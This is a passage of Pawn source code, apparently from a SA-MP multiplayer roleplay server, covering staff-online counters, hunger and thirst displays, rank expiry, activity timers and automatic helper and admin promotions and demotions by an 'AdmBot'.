						{
							adminc++;
							staffhesab = 1;
						}
						if(PlayerInfo[h][pAdmin] == 7)
						{
							adminc++;
							staffhesab = 1;
						}
						if(PlayerInfo[h][pAdmin] == 8)
						{
							adminc++;
							staffhesab = 1;
						}
						if(PlayerInfo[h][pAdmin] == 9)
						{
							adminc++;
							staffhesab = 1;
						}
						if(PlayerInfo[h][pAdmin] == 10)
						{
							adminc++;
							staffhesab = 1;
						}
						if(PlayerInfo[h][pAdmin] == 11)
						{
							adminc++;
							staffhesab = 1;
						}
						if(PlayerInfo[h][pAdmin] == 12)
						{
							adminc++;
							staffhesab = 1;
						}
						if(PlayerInfo[h][pAdmin] == 13)
						{
							adminc++;
							staffhesab = 1;
						}
						if(PlayerInfo[h][pAdmin] == 14)
						{
							adminc++;
							staffhesab = 1;
						}
					}
				}
			 }
			 */
	// Admins online
		// Helpers online
		/*
		   if(staffhesab == 0)
		   {
				for(new h = 0; h < Akharish; h++)
				{
					if(IsPlayerConnected(h))
					{
						if(PlayerInfo[h][pHelper] == 1)
						{
							helperc++;
							staffhesab = 1;
						}
						if(PlayerInfo[h][pHelper] == 2)
						{
							helperc++;
							staffhesab = 1;
						}
						if(PlayerInfo[h][pHelper] == 3)
						{
							helperc++;
							staffhesab = 1;
						}
						if(PlayerInfo[h][pHelper] == 4)
						{
							helperc++;
							staffhesab = 1;
						}
						if(PlayerInfo[h][pHelper] == 5)
						{
							helperc++;
							staffhesab = 1;
						}
					}
				}
		   }
		   */
	// Helpers online
	

	
	
	
	/*
		// Leaders online
		   if(staffhesab == 0)
		   {
				for(new h = 0; h < Akharish; h++)
				{
					if(IsPlayerConnected(h))
					{
						if(PlayerInfo[h][pLeader] == 1)
						{
							leaderc++;
							staffhesab = 1;
						}
						if(PlayerInfo[h][pLeader] == 2)
						{
							leaderc++;
							staffhesab = 1;
						}
						if(PlayerInfo[h][pLeader] == 3)
						{
							leaderc++;
							staffhesab = 1;
						}
						if(PlayerInfo[h][pLeader] == 4)
						{
							leaderc++;
							staffhesab = 1;
						}
						if(PlayerInfo[h][pLeader] == 5)
						{
							leaderc++;
							staffhesab = 1;
						}
						if(PlayerInfo[h][pLeader] == 6)
						{
							leaderc++;
							staffhesab = 1;
						}
						if(PlayerInfo[h][pLeader] == 7)
						{
							leaderc++;
							staffhesab = 1;
						}
						if(PlayerInfo[h][pLeader] == 8)
						{
							leaderc++;
							staffhesab = 1;
						}
						if(PlayerInfo[h][pLeader] == 9)
						{
							leaderc++;
							staffhesab = 1;
						}
						if(PlayerInfo[h][pLeader] == 10)
						{
							leaderc++;
							staffhesab = 1;
						}
						if(PlayerInfo[h][pLeader] == 11)
						{
							leaderc++;
							staffhesab = 1;
						}
						if(PlayerInfo[h][pLeader] == 12)
						{
							leaderc++;
							staffhesab = 1;
						}
						if(PlayerInfo[h][pLeader] == 13)
						{
							leaderc++;
							staffhesab = 1;
						}
						if(PlayerInfo[h][pLeader] == 14)
						{
							leaderc++;
							staffhesab = 1;
						}
						if(PlayerInfo[h][pLeader] == 15)
						{
							leaderc++;
							staffhesab = 1;
						}
						if(PlayerInfo[h][pLeader] == 16)
						{
							leaderc++;
							staffhesab = 1;
						}
					}
				}
		   }
		   */
	// Leaders online
	
	
	
	// Staffs online
	//if(staffhesab == 0)
	//{
	 //new kirmikhad = 0;
	 //kirmikhad = adminc += helperc;
	 //staffc = kirmikhad += leaderc;
	 //staffhesab = 1;
	//}
	
	// Staffs online
	
	
	
	
	
	/*
					
	 if(MizaneGoshnegi[playerid] == 10)
	 {
	   new straa[25];
	   format(straa , sizeof(straa) , ". . . . . . . . . .");
	   PlayerTextDrawSetString(playerid, GoshnegiDarsad, straa);
	 }
	 if(MizaneGoshnegi[playerid] == 9)
	 {
	   new straa[25];
	   format(straa , sizeof(straa) , ". . . . . . . . .");
	   PlayerTextDrawSetString(playerid, GoshnegiDarsad, straa);
	 }
	 if(MizaneGoshnegi[playerid] == 8)
	 {
	   new straa[25];
	   format(straa , sizeof(straa) , ". . . . . . . .");
	   PlayerTextDrawSetString(playerid, GoshnegiDarsad, straa);
	 }
	 if(MizaneGoshnegi[playerid] == 7)
	 {
	   new straa[25];
	   format(straa , sizeof(straa) , ". . . . . . .");
	   PlayerTextDrawSetString(playerid, GoshnegiDarsad, straa);
	 }
	 if(MizaneGoshnegi[playerid] == 6)
	 {
	   new straa[25];
	   format(straa , sizeof(straa) , ". . . . . .");
	   PlayerTextDrawSetString(playerid, GoshnegiDarsad, straa);
	 }
	 if(MizaneGoshnegi[playerid] == 5)
	 {
	   new straa[25];
	   format(straa , sizeof(straa) , ". . . . .");
	   PlayerTextDrawSetString(playerid, GoshnegiDarsad, straa);
	 }
	 if(MizaneGoshnegi[playerid] == 4)
	 {
	   new straa[25];
	   format(straa , sizeof(straa) , ". . . .");
	   PlayerTextDrawSetString(playerid, GoshnegiDarsad, straa);
	 }
	 if(MizaneGoshnegi[playerid] == 3)
	 {
	   new straa[25];
	   format(straa , sizeof(straa) , ". . .");
	   PlayerTextDrawSetString(playerid, GoshnegiDarsad, straa);
	 }
	 if(MizaneGoshnegi[playerid] == 2)
	 {
	   new straa[25];
	   format(straa , sizeof(straa) , ". .");
	   PlayerTextDrawSetString(playerid, GoshnegiDarsad, straa);
	 }
	 if(MizaneGoshnegi[playerid] == 1)
	 {
	   new straa[25];
	   format(straa , sizeof(straa) , ".");
	   PlayerTextDrawSetString(playerid, GoshnegiDarsad, straa);
	 }
	 if(MizaneGoshnegi[playerid] == 0)
	 {
	  if(shodbaw[playerid] == 0)
	  {
	   SetTimerEx("HealtheshoKamKonZ", 1000, true, "i", playerid);
	   shodbaw[playerid] = 1;
	  }
	   new straa[25];
	   format(straa , sizeof(straa) , "_");
	   PlayerTextDrawSetString(playerid, GoshnegiDarsad, straa);
	   TooMargGoshne[playerid] = 1;
	   //SCM(playerid, COLOR_SINARANG, "You are now hungry. Eat some food before you die! (/hungry)");
	 }
	*/
	/*
	  new thefuckingpname[MAX_PLAYER_NAME];
	  new thefuckingpip[32];
	  GetPlayerName(playerid, thefuckingpname, sizeof(thefuckingpname));
	  GetPlayerIp(playerid,thefuckingpip,sizeof(thefuckingpip));
	  PlayerPacket[playerid] = NetStats_PacketLossPercent(playerid);
	  PlayerPing[playerid] = GetPlayerPing(playerid);
	  GetPlayerCountry(playerid, PlayerCountry[playerid]);
	  GetPlayerISP(playerid, PlayerISP[playerid]);
	  PlayerFPSS[playerid] = pFPS[playerid];
	  strcpy(PlayerNamee[playerid],thefuckingpname,32);
	  strcpy(PlayerIP[playerid],thefuckingpip,32);
	  */
	
	
	/*
	 if(MizaneTeshnegi[playerid] == 10)
	 {
	   new jafarali[25];
	   format(jafarali , sizeof(jafarali) , ". . . . . . . . . .");
	   PlayerTextDrawSetString(playerid, TeshnegiDarsad, jafarali);
	 }
	 if(MizaneTeshnegi[playerid] == 9)
	 {
	   new jafarali[25];
	   format(jafarali , sizeof(jafarali) , ". . . . . . . . .");
	   PlayerTextDrawSetString(playerid, TeshnegiDarsad, jafarali);
	 }
	 if(MizaneTeshnegi[playerid] == 8)
	 {
	   new jafarali[25];
	   format(jafarali , sizeof(jafarali) , ". . . . . . . .");
	   PlayerTextDrawSetString(playerid, TeshnegiDarsad, jafarali);
	 }
	 if(MizaneTeshnegi[playerid] == 7)
	 {
	   new jafarali[25];
	   format(jafarali , sizeof(jafarali) , ". . . . . . .");
	   PlayerTextDrawSetString(playerid, TeshnegiDarsad, jafarali);
	 }
	 if(MizaneTeshnegi[playerid] == 6)
	 {
	   new jafarali[25];
	   format(jafarali , sizeof(jafarali) , ". . . . . .");
	   PlayerTextDrawSetString(playerid, TeshnegiDarsad, jafarali);
	 }
	 if(MizaneTeshnegi[playerid] == 5)
	 {
	   new jafarali[25];
	   format(jafarali , sizeof(jafarali) , ". . . . .");
	   PlayerTextDrawSetString(playerid, TeshnegiDarsad, jafarali);
	 }
	 if(MizaneTeshnegi[playerid] == 4)
	 {
	   new jafarali[25];
	   format(jafarali , sizeof(jafarali) , ". . . .");
	   PlayerTextDrawSetString(playerid, TeshnegiDarsad, jafarali);
	 }
	 if(MizaneTeshnegi[playerid] == 3)
	 {
	   new jafarali[25];
	   format(jafarali , sizeof(jafarali) , ". . .");
	   PlayerTextDrawSetString(playerid, TeshnegiDarsad, jafarali);
	 }
	 if(MizaneTeshnegi[playerid] == 2)
	 {
	   new jafarali[25];
	   format(jafarali , sizeof(jafarali) , ". .");
	   PlayerTextDrawSetString(playerid, TeshnegiDarsad, jafarali);
	 }
	 if(MizaneTeshnegi[playerid] == 1)
	 {
	   new jafarali[25];
	   format(jafarali , sizeof(jafarali) , ".");
	   PlayerTextDrawSetString(playerid, TeshnegiDarsad, jafarali);
	 }
	 if(MizaneTeshnegi[playerid] == 0)
	 {
	  if(shodbaw2[playerid] == 0)
	  {
	   SetTimerEx("HealtheshoKamKonV", 1000, true, "i", playerid);
	   shodbaw2[playerid] = 1;
	  }
	   new jafarali[25];
	   format(jafarali , sizeof(jafarali) , "_");
	   PlayerTextDrawSetString(playerid, TeshnegiDarsad, jafarali);
	   TooMargTeshne[playerid] = 1;
	   //SCM(playerid, COLOR_SINARANG, "You are now greedy. Eat some drinks before you die! (/greedy)");
	 }
	*/
	
    //new Keys,udd,lrr;
    //GetPlayerKeys(playerid,Keys,udd,lrr);
    //if(udd == KEY_UP || udd == KEY_DOWN || lrr == KEY_LEFT || lrr == KEY_RIGHT) AFKCheckActiveAdad[playerid] = 0;

	if(GetPlayerWantedLevel(playerid) == 0)
	{
	PlayerTextDrawHide(playerid, WantedTTD[playerid]);
	WantedTimerEZ[playerid] = 0;
	WantedKamKonTimerValid[playerid] = false;
	}
	
	
	
	
	  if(PINFO[playerid][pHDay] == 0 && PINFO[playerid][pAdmin] == 7 || PINFO[playerid][pHDay] == 0 && PINFO[playerid][pAdmin] == 8 || PINFO[playerid][pHDay] == 0 && PINFO[playerid][pAdmin] == 9)
  {
	SCM(playerid, COLOR_RED, "{FF0000}Warning: {FFFF00}Your Hoster date has been expired.");
	SCM(playerid, COLOR_Good, "For syncing with systems, you'll be reconnect.");
	PINFO[playerid][pHDay] = 0;
	SaveKonVal(playerid, "pHDay", 0);
	PINFO[playerid][pAdmin] = 0;
	SaveKonVal(playerid, "pAdmin", 0);
	PINFO[playerid][pHelper] = 0;
	SaveKonVal(playerid, "pHelper", 0);
	//OnPlayerCommandText(playerid, "/relog");
	RelogPlayerDovvom[playerid] = SetTimerEx("Relogme2", 50, false, "i", playerid);
  }
  if(PINFO[playerid][pSDay] == 0 && PINFO[playerid][pSponser] == 1)
  {
	SCM(playerid, COLOR_RED, "{FF0000}Warning: {FFFF00}Your Sponsor date has been expired.");
	PINFO[playerid][pSDay] = 0;
	SaveKonVal(playerid, "pSDay", 0);
	PINFO[playerid][pSponser] = 0;
	SaveKonVal(playerid, "pSponser", 0);
  }
	
	
	
	



	
/*
	if(PTP(5, playerid, 2322.9648,-1983.7091,13.5520)) {
	new sweapon, sammo;
		 for (new i=0; i<13; i++)
		 {
			 GetPlayerWeaponData(playerid, i, sweapon, sammo);
			 if(sweapon != 0)
			 {
			   if(BetShopLock != 1)
			   {
				  if(lotfkonybr[playerid] == 0) {
				  SCM(playerid,COLOR_YELLOW2,"Error: Drop your weapons first to enter to betshop. (/Throwguns)");
				  SetTimerEx("freezebetweap", 5000, 1, "i", playerid);
				  lotfkonybr[playerid] = 1;
				  }
				  TogglePlayerControllable(playerid, 0);
				  //SCM(playerid,COLOR_YELLOW2,"Error: Drop your weapons first to enter to betshop. (/Throwguns)");
				  freezeonbet[playerid] = 1;
			   }
			 }
		 }
		 if(BetShopLock != 1)
		 {
		 if(GetPlayerState(playerid) == PLAYER_STATE_DRIVER)
		 {
		 TogglePlayerControllable(playerid, 0);
		 if(lotfkonybrz[playerid] == 0) {
		 SCM(playerid,COLOR_YELLOW2,"Error: Get out from your vehicle to enter to the betshop. (/EjectMe)");
		 SetTimerEx("freezebetveh", 5000, 1, "i", playerid);
		 lotfkonybrz[playerid] = 1;
		 }
		 freezeonbetv[playerid] = 1;
		 //SCM(playerid,COLOR_YELLOW2,"Error: Get out from your vehicle to enter to the betshop.");
		 }
		 }
	}
	*/
	
	
	
/*
	if(siyoma[playerid] == 0)
	{
		  if(PINFO[playerid][pAdmin] >= 1 && PINFO[playerid][pAdmin] < 5 && PINFO[playerid][pLeader] >= 1 && PINFO[playerid][pHelper] >= 1)
	  {
		 if(ASAR[playerid] == 1 && AFK[playerid] == 0 && InSleep[playerid] == 0)
		 {
			PlayerInfo[playerid][pActSec] += 1;
			SaveKonVal(playerid, "pActSec", PINFO[playerid][pActSec]);
			siyoma[playerid] = 1;
		 }
		//return 1;
	  }
	  if(PINFO[playerid][pAdmin] >= 1 && PINFO[playerid][pAdmin] < 5 && PINFO[playerid][pLeader] == 0 && PINFO[playerid][pHelper] >= 1)
	  {
		 if(ASAR[playerid] == 1 && AFK[playerid] == 0 && InSleep[playerid] == 0)
		 {
			PlayerInfo[playerid][pActSec] += 1;
			SaveKonVal(playerid, "pActSec", PINFO[playerid][pActSec]);
			siyoma[playerid] = 1;
		 }
		//return 1;
	  }
	  if(PINFO[playerid][pAdmin] >= 1 && PINFO[playerid][pAdmin] < 5 && PINFO[playerid][pLeader] >= 1 && PINFO[playerid][pHelper] == 0)
	  {
		 if(ASAR[playerid] == 1 && AFK[playerid] == 0 && InSleep[playerid] == 0)
		 {
			PlayerInfo[playerid][pActSec] += 1;
			SaveKonVal(playerid, "pActSec", PINFO[playerid][pActSec]);
			siyoma[playerid] = 1;
		 }
		//return 1;
	  }
	  if(PINFO[playerid][pAdmin] >= 1 && PINFO[playerid][pAdmin] < 5 && PINFO[playerid][pLeader] == 0 && PINFO[playerid][pHelper] == 0)
	  {
		 if(ASAR[playerid] == 1 && AFK[playerid] == 0 && InSleep[playerid] == 0)
		 {
			PlayerInfo[playerid][pActSec] += 1;
			SaveKonVal(playerid, "pActSec", PINFO[playerid][pActSec]);
			siyoma[playerid] = 1;
		 }
		//return 1;
	  }
	  if(PINFO[playerid][pAdmin] >= 5)
	  {
		 if(AFK[playerid] == 0 && InSleep[playerid] == 0)
		 {
			PlayerInfo[playerid][pActSec] += 1;
			SaveKonVal(playerid, "pActSec", PINFO[playerid][pActSec]);
			siyoma[playerid] = 1;
		 }
		//return 1;
	  }
  */
	  /*
	  if(PINFO[playerid][pAdmin] >= 5 && PINFO[playerid][pLeader] >= 1 && PINFO[playerid][pHelper] >= 1)
	  {
		 if(AFK[playerid] == 0 && InSleep[playerid] == 0)
		 {
			PlayerInfo[playerid][pActSec] += 1;
			SaveKonVal(playerid, "pActSec", PINFO[playerid][pActSec]);
		 }
	  }
	  if(PINFO[playerid][pAdmin] >= 5 && PINFO[playerid][pLeader] == 0 && PINFO[playerid][pHelper] >= 1)
	  {
		 if(AFK[playerid] == 0 && InSleep[playerid] == 0)
		 {
			PlayerInfo[playerid][pActSec] += 1;
			SaveKonVal(playerid, "pActSec", PINFO[playerid][pActSec]);
		 }
	  }
	  if(PINFO[playerid][pAdmin] >= 5 && PINFO[playerid][pLeader] >= 1 && PINFO[playerid][pHelper] == 0)
	  {
		 if(AFK[playerid] == 0 && InSleep[playerid] == 0)
		 {
			PlayerInfo[playerid][pActSec] += 1;
			SaveKonVal(playerid, "pActSec", PINFO[playerid][pActSec]);
		 }
	  }
	  if(PINFO[playerid][pAdmin] >= 5 && PINFO[playerid][pLeader] == 0 && PINFO[playerid][pHelper] == 0)
	  {
		 if(AFK[playerid] == 0 && InSleep[playerid] == 0)
		 {
			PlayerInfo[playerid][pActSec] += 1;
			SaveKonVal(playerid, "pActSec", PINFO[playerid][pActSec]);
		 }
	  }
	  */
	  /*
	  if(PINFO[playerid][pAdmin] == 0 && PINFO[playerid][pLeader] >= 1 && PINFO[playerid][pHelper] >= 1)
	  {
		 if(HSAR[playerid] == 1 && AFK[playerid] == 0 && InSleep[playerid] == 0)
		 {
			PlayerInfo[playerid][pActSec] += 1;
			SaveKonVal(playerid, "pActSec", PINFO[playerid][pActSec]);
			siyoma[playerid] = 1;
		 }
		//return 1;
	  }
	  if(PINFO[playerid][pAdmin] == 0 && PINFO[playerid][pLeader] == 0 && PINFO[playerid][pHelper] >= 1)
	  {
		 if(HSAR[playerid] == 1 && AFK[playerid] == 0 && InSleep[playerid] == 0)
		 {
			PlayerInfo[playerid][pActSec] += 1;
			SaveKonVal(playerid, "pActSec", PINFO[playerid][pActSec]);
			siyoma[playerid] = 1;
		 }
		//return 1;
	  }
	  if(PINFO[playerid][pAdmin] == 0 && PINFO[playerid][pLeader] >= 1 && PINFO[playerid][pHelper] == 0)
	  {
		 if(AFK[playerid] == 0 && InSleep[playerid] == 0)
		 {
			PlayerInfo[playerid][pActSec] += 1;
			SaveKonVal(playerid, "pActSec", PINFO[playerid][pActSec]);
			siyoma[playerid] = 1;
		 }
		//return 1;
	  }
	}
	*/


	if(PINFO[playerid][pActMinOver] >= 60)
	{
	   PlayerInfo[playerid][pActHourOver] += 1;
	   SaveKonVal(playerid, "pActHourOver", PINFO[playerid][pActHourOver]);
	   PlayerInfo[playerid][pActMinOver] = 0;
	   SaveKonVal(playerid, "pActMinOver", PINFO[playerid][pActMinOver]);
	}

	
	if(PINFO[playerid][pActSecOver] >= 60)
	{
	   PlayerInfo[playerid][pActMinOver] += 1;
	   SaveKonVal(playerid, "pActMinOver", PINFO[playerid][pActMinOver]);
	   PlayerInfo[playerid][pActSecOver] = 0;
	   SaveKonVal(playerid, "pActSecOver", PINFO[playerid][pActSecOver]);
	}
	
	if(PINFO[playerid][pActSec] >= 60)
	{
	   PlayerInfo[playerid][pActMin] += 1;
	   SaveKonVal(playerid, "pActMin", PINFO[playerid][pActMin]);
	   PlayerInfo[playerid][pActSec] = 0;
	   SaveKonVal(playerid, "pActSec", PINFO[playerid][pActSec]);
	}

	
	if(PINFO[playerid][pActMin] >= 60)
	{
	   PlayerInfo[playerid][pActHour] += 1;
	   SaveKonVal(playerid, "pActHour", PINFO[playerid][pActHour]);
	   PlayerInfo[playerid][pActMin] = 0;
	   SaveKonVal(playerid, "pActMin", PINFO[playerid][pActMin]);
	}
	
	if(PINFO[playerid][pHelper] == 1 && PINFO[playerid][pAdmin] == 0 && PINFO[playerid][pStaffDays] >= 20 && PINFO[playerid][pStaffDays] < 30)
	{
		new sttrr[256];
		format(sttrr,256,"{FFFFFF}%s has promoted to helper level 3 by AdmBot.", PINFO[playerid][pName]);
	   AdminWarn(sttrr);
		PINFO[playerid][pHelper] = 3;
		SaveKonVal(playerid, "pHelper", 3);
	   new strmstr[256];
	   format(strmstr,256,"You've promoted to helper level 3 from helper level 1 by AdmBot.");
	   SendClientMessage(playerid, COLOR_Good, strmstr);
	}
		if(PINFO[playerid][pHelper] == 1 && PINFO[playerid][pAdmin] == 0 && PINFO[playerid][pStaffDays] >= 30 && PINFO[playerid][pStaffDays] < 40)
	{
		new sttrr[256];
		format(sttrr,256,"{FFFFFF}%s has promoted to helper level 4 by AdmBot.", PINFO[playerid][pName]);
	   AdminWarn(sttrr);
		PINFO[playerid][pHelper] = 4;
		SaveKonVal(playerid, "pHelper", 4);
	   new strmstr[256];
	   format(strmstr,256,"You've promoted to helper level 4 from helper level 1 by AdmBot.");
	   SendClientMessage(playerid, COLOR_Good, strmstr);
	}
		if(PINFO[playerid][pHelper] == 1 && PINFO[playerid][pAdmin] == 0 && PINFO[playerid][pStaffDays] >= 40)
	{
		new sttrr[256];
		format(sttrr,256,"{FFFFFF}%s has promoted to helper level 5 by AdmBot.", PINFO[playerid][pName]);
	   AdminWarn(sttrr);
		PINFO[playerid][pHelper] = 5;
		SaveKonVal(playerid, "pHelper", 5);
	   new strmstr[256];
	   format(strmstr,256,"You've promoted to helper level 5 from helper level 1 by AdmBot.");
	   SendClientMessage(playerid, COLOR_Good, strmstr);
	}
	
	
	
	
	
	
		if(PINFO[playerid][pHelper] == 2 && PINFO[playerid][pAdmin] == 0 && PINFO[playerid][pStaffDays] >= 30 && PINFO[playerid][pStaffDays] < 40)
	{
		new sttrr[256];
		format(sttrr,256,"{FFFFFF}%s has promoted to helper level 4 by AdmBot.", PINFO[playerid][pName]);
	   AdminWarn(sttrr);
		PINFO[playerid][pHelper] = 4;
		SaveKonVal(playerid, "pHelper", 4);
	   new strmstr[256];
	   format(strmstr,256,"You've promoted to helper level 4 from helper level 2 by AdmBot.");
	   SendClientMessage(playerid, COLOR_Good, strmstr);
	}
		if(PINFO[playerid][pHelper] == 2 && PINFO[playerid][pAdmin] == 0 && PINFO[playerid][pStaffDays] >= 40)
	{
		new sttrr[256];
		format(sttrr,256,"{FFFFFF}%s has promoted to helper level 5 by AdmBot.", PINFO[playerid][pName]);
	   AdminWarn(sttrr);
		PINFO[playerid][pHelper] = 5;
		SaveKonVal(playerid, "pHelper", 5);
	   new strmstr[256];
	   format(strmstr,256,"You've promoted to helper level 5 from helper level 2 by AdmBot.");
	   SendClientMessage(playerid, COLOR_Good, strmstr);
	}
	
	
	
			if(PINFO[playerid][pHelper] == 3 && PINFO[playerid][pAdmin] == 0 && PINFO[playerid][pStaffDays] >= 40)
	{
		new sttrr[256];
		format(sttrr,256,"{FFFFFF}%s has promoted to helper level 5 by AdmBot.", PINFO[playerid][pName]);
	   AdminWarn(sttrr);
		PINFO[playerid][pHelper] = 5;
		SaveKonVal(playerid, "pHelper", 5);
	   new strmstr[256];
	   format(strmstr,256,"You've promoted to helper level 5 from helper level 3 by AdmBot.");
	   SendClientMessage(playerid, COLOR_Good, strmstr);
	}
	
	
	
	
	
	
	  if(PINFO[playerid][pAdmin] == 1 && PINFO[playerid][pStaffDays] >= 150 && PINFO[playerid][pStaffDays] < 200)
	{
		new sttrr[256];
		format(sttrr,256,"{FFFFFF}%s has promoted to admin level 3 by AdmBot.", PINFO[playerid][pName]);
	   AdminWarn(sttrr);
		PINFO[playerid][pAdmin] = 3;
		SaveKonVal(playerid, "pAdmin", 3);
	   new strmstr[256];
	   format(strmstr,256,"You've promoted to admin level 3 from admin level 1 by AdmBot.");
	   SendClientMessage(playerid, COLOR_Good, strmstr);
	}
		  if(PINFO[playerid][pAdmin] == 1 && PINFO[playerid][pStaffDays] >= 200 && PINFO[playerid][pStaffDays] < 250)
	{
		new sttrr[256];
		format(sttrr,256,"{FFFFFF}%s has promoted to admin level 4 by AdmBot.", PINFO[playerid][pName]);
	   AdminWarn(sttrr);
		PINFO[playerid][pAdmin] = 4;
		SaveKonVal(playerid, "pAdmin", 4);
	   new strmstr[256];
	   format(strmstr,256,"You've promoted to admin level 4 from admin level 1 by AdmBot.");
	   SendClientMessage(playerid, COLOR_Good, strmstr);
	}
	
			  if(PINFO[playerid][pAdmin] == 1 && PINFO[playerid][pStaffDays] >= 250)
	{
		new sttrr[256];
		format(sttrr,256,"{FFFFFF}%s has promoted to admin level 5 by AdmBot.", PINFO[playerid][pName]);
	   AdminWarn(sttrr);
		PINFO[playerid][pAdmin] = 5;
		SaveKonVal(playerid, "pAdmin", 5);
	   new strmstr[256];
	   format(strmstr,256,"You've promoted to admin level 5 from admin level 1 by AdmBot.");
	   SendClientMessage(playerid, COLOR_Good, strmstr);
	}
	
	
	
	 if(PINFO[playerid][pAdmin] == 2 && PINFO[playerid][pStaffDays] >= 200 &&  PINFO[playerid][pStaffDays] < 250)
	{
		new sttrr[256];
		format(sttrr,256,"{FFFFFF}%s has promoted to admin level 4 by AdmBot.", PINFO[playerid][pName]);
	   AdminWarn(sttrr);
		PINFO[playerid][pAdmin] = 4;
		SaveKonVal(playerid, "pAdmin", 4);
	   new strmstr[256];
	   format(strmstr,256,"You've promoted to admin level 4 from admin level 2 by AdmBot.");
	   SendClientMessage(playerid, COLOR_Good, strmstr);
	}
	

		 if(PINFO[playerid][pAdmin] == 2 && PINFO[playerid][pStaffDays] >= 250)
	{
		new sttrr[256];
		format(sttrr,256,"{FFFFFF}%s has promoted to admin level 5 by AdmBot.", PINFO[playerid][pName]);
	   AdminWarn(sttrr);
		PINFO[playerid][pAdmin] = 5;
		SaveKonVal(playerid, "pAdmin", 5);
	   new strmstr[256];
	   format(strmstr,256,"You've promoted to admin level 5 from admin level 2 by AdmBot.");
	   SendClientMessage(playerid, COLOR_Good, strmstr);
	}
	
	
	
			 if(PINFO[playerid][pAdmin] == 3 && PINFO[playerid][pStaffDays] >= 250)
	{
		new sttrr[256];
		format(sttrr,256,"{FFFFFF}%s has promoted to admin level 5 by AdmBot.", PINFO[playerid][pName]);
	   AdminWarn(sttrr);
		PINFO[playerid][pAdmin] = 5;
		SaveKonVal(playerid, "pAdmin", 5);
	   new strmstr[256];
	   format(strmstr,256,"You've promoted to admin level 5 from admin level 3 by AdmBot.");
	   SendClientMessage(playerid, COLOR_Good, strmstr);
	}
	
	// helper 1
	if(PINFO[playerid][pHelper] == 1 && PINFO[playerid][pAdmin] == 0 && PINFO[playerid][pStaffDays] >= 10 && PINFO[playerid][pStaffDays] < 20)
	{
		new sttrr[256];
		format(sttrr,256,"{FFFFFF}%s has promoted to helper level 2 by AdmBot.", PINFO[playerid][pName]);
	   AdminWarn(sttrr);
		PINFO[playerid][pHelper] = 2;
		SaveKonVal(playerid, "pHelper", 2);
	   new strmstr[256];
	   format(strmstr,256,"You've promoted to helper level 2 from helper level 1 by AdmBot.");
	   SendClientMessage(playerid, COLOR_Good, strmstr);
	}
	if(PINFO[playerid][pHelper] == 2 && PINFO[playerid][pAdmin] == 0 && PINFO[playerid][pStaffDays] >= -9 && PINFO[playerid][pStaffDays] < 10)
	{
		new sttrr[256];
		format(sttrr,256,"{FFFFFF}%s has demoted to helper level 1 by AdmBot.", PINFO[playerid][pName]);
	   AdminWarn(sttrr);
		PINFO[playerid][pHelper] = 1;
		SaveKonVal(playerid, "pHelper", 1);
	   new strmstr[256];
	   format(strmstr,256,"You've demoted to helper level 1 from helper level 2 by AdmBot.");
	   SendClientMessage(playerid, COLOR_Good, strmstr);
	}
	// helper 2
		if(PINFO[playerid][pHelper] == 2 && PINFO[playerid][pAdmin] == 0 && PINFO[playerid][pStaffDays] >= 20 && PINFO[playerid][pStaffDays] < 30)
	{
		new sttrr[256];
		format(sttrr,256,"{FFFFFF}%s has promoted to helper level 3 by AdmBot.", PINFO[playerid][pName]);
	   AdminWarn(sttrr);
		PINFO[playerid][pHelper] = 3;
		SaveKonVal(playerid, "pHelper", 3);
	   new strmstr[256];
	   format(strmstr,256,"You've promoted to helper level 3 from helper level 2 by AdmBot.");
	   SendClientMessage(playerid, COLOR_Good, strmstr);
	}
	if(PINFO[playerid][pHelper] == 3 && PINFO[playerid][pAdmin] == 0 && PINFO[playerid][pStaffDays] >= 10 && PINFO[playerid][pStaffDays] < 20)
	{
		new sttrr[256];
		format(sttrr,256,"{FFFFFF}%s has demoted to helper level 2 by AdmBot.", PINFO[playerid][pName]);
	   AdminWarn(sttrr);
		PINFO[playerid][pHelper] = 2;
		SaveKonVal(playerid, "pHelper", 2);
	   new strmstr[256];
	   format(strmstr,256,"You've demoted to helper level 2 from helper level 3 by AdmBot.");
	   SendClientMessage(playerid, COLOR_Good, strmstr);
	}
	if(PINFO[playerid][pHelper] == 3 && PINFO[playerid][pAdmin] == 0 && PINFO[playerid][pStaffDays] >= -9 && PINFO[playerid][pStaffDays] < 10)
	{
		new sttrr[256];
		format(sttrr,256,"{FFFFFF}%s has demoted to helper level 1 by AdmBot.", PINFO[playerid][pName]);
	   AdminWarn(sttrr);
		PINFO[playerid][pHelper] = 1;
		SaveKonVal(playerid, "pHelper", 1);
	   new strmstr[256];
	   format(strmstr,256,"You've demoted to helper level 1 from helper level 3 by AdmBot.");
	   SendClientMessage(playerid, COLOR_Good, strmstr);
	}
	// helper 3
		if(PINFO[playerid][pHelper] == 3 && PINFO[playerid][pAdmin] == 0 && PINFO[playerid][pStaffDays] >= 30 && PINFO[playerid][pStaffDays] < 40)
	{
		new sttrr[256];
		format(sttrr,256,"{FFFFFF}%s has promoted to helper level 4 by AdmBot.", PINFO[playerid][pName]);
	   AdminWarn(sttrr);
		PINFO[playerid][pHelper] = 4;
		SaveKonVal(playerid, "pHelper", 4);
	   new strmstr[256];
	   format(strmstr,256,"You've promoted to helper level 4 from helper level 3 by AdmBot.");
	   SendClientMessage(playerid, COLOR_Good, strmstr);
	}
	if(PINFO[playerid][pHelper] == 4 && PINFO[playerid][pAdmin] == 0 && PINFO[playerid][pStaffDays] >= 20 && PINFO[playerid][pStaffDays] < 30)
	{
		new sttrr[256];
		format(sttrr,256,"{FFFFFF}%s has demoted to helper level 3 by AdmBot.", PINFO[playerid][pName]);
	   AdminWarn(sttrr);
		PINFO[playerid][pHelper] = 3;
		SaveKonVal(playerid, "pHelper", 3);
	   new strmstr[256];
	   format(strmstr,256,"You've demoted to helper level 3 from helper level 4 by AdmBot.");
	   SendClientMessage(playerid, COLOR_Good, strmstr);
	}
	if(PINFO[playerid][pHelper] == 4 && PINFO[playerid][pAdmin] == 0 && PINFO[playerid][pStaffDays] >= 10 && PINFO[playerid][pStaffDays] < 20)
	{
		new sttrr[256];
		format(sttrr,256,"{FFFFFF}%s has demoted to helper level 2 by AdmBot.", PINFO[playerid][pName]);
	   AdminWarn(sttrr);
		PINFO[playerid][pHelper] = 2;
		SaveKonVal(playerid, "pHelper", 2);
	   new strmstr[256];
	   format(strmstr,256,"You've demoted to helper level 2 from helper level 4 by AdmBot.");
	   SendClientMessage(playerid, COLOR_Good, strmstr);
	}
	if(PINFO[playerid][pHelper] == 4 && PINFO[playerid][pAdmin] == 0 && PINFO[playerid][pStaffDays] >= -9 && PINFO[playerid][pStaffDays] < 10)
	{
		new sttrr[256];
